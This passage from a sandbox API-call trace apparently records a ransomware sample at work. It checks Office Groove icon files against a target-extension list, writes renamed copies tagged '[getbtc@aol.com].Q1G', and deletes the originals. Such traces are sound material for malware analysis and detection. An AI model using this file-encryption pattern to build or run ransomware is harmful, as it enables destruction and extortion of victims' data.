(lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.534] lstrlenW (lpString=".dbf") returned 4 [0265.534] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.534] lstrlenW (lpString=".1cd") returned 4 [0265.534] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.534] lstrlenW (lpString=".jpg") returned 4 [0265.534] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.534] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.534] lstrlenW (lpString="ONLINE.ICO") returned 10 [0265.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.535] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=3438) returned 1 [0265.535] CloseHandle (hObject=0x388) returned 1 [0265.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico")) returned 0x20 [0265.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.535] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.535] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.536] GetLastError () returned 0x0 [0265.536] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xd6e, lpOverlapped=0x0) returned 1 [0265.557] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd70, lpOverlapped=0x0) returned 1 [0265.558] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.558] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0265.558] SetEndOfFile (hFile=0x1b8) returned 1 [0265.558] CloseHandle (hObject=0x1b8) returned 1 [0265.558] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.559] SetEndOfFile (hFile=0x388) returned 1 [0265.560] CloseHandle (hObject=0x388) returned 1 [0265.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico")) returned 1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.592] lstrlenW (lpString=".doc") returned 4 [0265.592] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.592] lstrlenW (lpString=".docx") returned 5 [0265.592] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.592] lstrlenW (lpString=".pdf") returned 4 [0265.592] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.592] lstrlenW (lpString=".xls") returned 4 [0265.592] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.592] lstrlenW (lpString=".xlsx") returned 5 [0265.592] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.592] lstrlenW (lpString=".ppt") returned 4 [0265.592] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.592] lstrlenW (lpString=".zip") returned 4 [0265.592] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.592] lstrlenW (lpString=".rar") returned 4 [0265.592] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.592] lstrlenW (lpString=".bz2") returned 4 [0265.592] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.592] lstrlenW (lpString=".7z") returned 3 [0265.593] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".dbf") returned 4 [0265.593] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".1cd") returned 4 [0265.593] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".jpg") returned 4 [0265.593] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".doc") returned 4 [0265.593] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.593] lstrlenW (lpString=".docx") returned 5 [0265.593] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.593] lstrlenW (lpString=".pdf") returned 4 [0265.593] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString=".xls") returned 4 [0265.593] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString=".xlsx") returned 5 [0265.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.593] lstrlenW (lpString=".ppt") returned 4 [0265.593] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".zip") returned 4 [0265.593] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString=".rar") returned 4 [0265.593] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.593] lstrlenW (lpString=".bz2") returned 4 [0265.593] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.593] lstrlenW (lpString=".7z") returned 3 [0265.593] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".dbf") returned 4 [0265.593] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.593] lstrlenW (lpString=".1cd") returned 4 [0265.594] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO") returned 70 [0265.594] lstrlenW (lpString=".jpg") returned 4 [0265.594] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.594] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.594] lstrlenW (lpString="OutSyncPC.ico") returned 13 [0265.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.594] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=318) returned 1 [0265.594] CloseHandle (hObject=0x1f8) returned 1 [0265.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico")) returned 0x20 [0265.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.595] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.595] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.596] GetLastError () returned 0x0 [0265.596] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.597] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.599] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.599] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0265.599] SetEndOfFile (hFile=0x360) returned 1 [0265.599] CloseHandle (hObject=0x360) returned 1 [0265.599] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.599] SetEndOfFile (hFile=0x1f8) returned 1 [0265.602] CloseHandle (hObject=0x1f8) returned 1 [0265.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico")) returned 1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.603] lstrlenW (lpString=".doc") returned 4 [0265.603] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.603] lstrlenW (lpString=".docx") returned 5 [0265.603] lstrcmpiW (lpString1=".docx", lpString2="C.ico") returned -1 [0265.603] lstrlenW (lpString=".pdf") returned 4 [0265.603] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.603] lstrlenW (lpString=".xls") returned 4 [0265.603] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.603] lstrlenW (lpString=".xlsx") returned 5 [0265.603] lstrcmpiW (lpString1=".xlsx", lpString2="C.ico") returned -1 [0265.603] lstrlenW (lpString=".ppt") returned 4 [0265.603] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.603] lstrlenW (lpString=".zip") returned 4 [0265.603] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.603] lstrlenW (lpString=".rar") returned 4 [0265.603] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.603] lstrlenW (lpString=".bz2") returned 4 [0265.603] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.603] lstrlenW (lpString=".7z") returned 3 [0265.603] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.603] lstrlenW (lpString=".dbf") returned 4 [0265.603] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".1cd") returned 4 [0265.604] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".jpg") returned 4 [0265.604] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".doc") returned 4 [0265.604] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString=".docx") returned 5 [0265.604] lstrcmpiW (lpString1=".docx", lpString2="C.ico") returned -1 [0265.604] lstrlenW (lpString=".pdf") returned 4 [0265.604] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString=".xls") returned 4 [0265.604] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString=".xlsx") returned 5 [0265.604] lstrcmpiW (lpString1=".xlsx", lpString2="C.ico") returned -1 [0265.604] lstrlenW (lpString=".ppt") returned 4 [0265.604] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".zip") returned 4 [0265.604] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString=".rar") returned 4 [0265.604] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.604] lstrlenW (lpString=".bz2") returned 4 [0265.604] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString=".7z") returned 3 [0265.604] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".dbf") returned 4 [0265.604] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".1cd") returned 4 [0265.604] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico") returned 73 [0265.604] lstrlenW (lpString=".jpg") returned 4 [0265.605] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.605] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.605] lstrlenW (lpString="PersonalContact.ico") returned 19 [0265.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.605] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1718) returned 1 [0265.605] CloseHandle (hObject=0x1f8) returned 1 [0265.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico")) returned 0x20 [0265.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.606] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.606] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.606] GetLastError () returned 0x0 [0265.606] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x6b6, lpOverlapped=0x0) returned 1 [0265.629] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0265.631] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.631] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0265.631] SetEndOfFile (hFile=0x360) returned 1 [0265.631] CloseHandle (hObject=0x360) returned 1 [0265.631] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.631] SetEndOfFile (hFile=0x1f8) returned 1 [0265.633] CloseHandle (hObject=0x1f8) returned 1 [0265.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico")) returned 1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".doc") returned 4 [0265.634] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.634] lstrlenW (lpString=".docx") returned 5 [0265.634] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0265.634] lstrlenW (lpString=".pdf") returned 4 [0265.634] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString=".xls") returned 4 [0265.634] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString=".xlsx") returned 5 [0265.634] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0265.634] lstrlenW (lpString=".ppt") returned 4 [0265.634] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".zip") returned 4 [0265.634] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString=".rar") returned 4 [0265.634] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString=".bz2") returned 4 [0265.634] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.634] lstrlenW (lpString=".7z") returned 3 [0265.634] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".dbf") returned 4 [0265.634] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".1cd") returned 4 [0265.634] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".jpg") returned 4 [0265.634] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.634] lstrlenW (lpString=".doc") returned 4 [0265.635] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.635] lstrlenW (lpString=".docx") returned 5 [0265.635] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0265.635] lstrlenW (lpString=".pdf") returned 4 [0265.635] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.635] lstrlenW (lpString=".xls") returned 4 [0265.635] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.635] lstrlenW (lpString=".xlsx") returned 5 [0265.635] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0265.635] lstrlenW (lpString=".ppt") returned 4 [0265.635] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.635] lstrlenW (lpString=".zip") returned 4 [0265.635] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.635] lstrlenW (lpString=".rar") returned 4 [0265.635] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.635] lstrlenW (lpString=".bz2") returned 4 [0265.635] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.635] lstrlenW (lpString=".7z") returned 3 [0265.635] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.635] lstrlenW (lpString=".dbf") returned 4 [0265.635] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico") returned 79 [0265.635] lstrlenW (lpString=".1cd") returned 4 [0265.635] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.635] lstrlenW 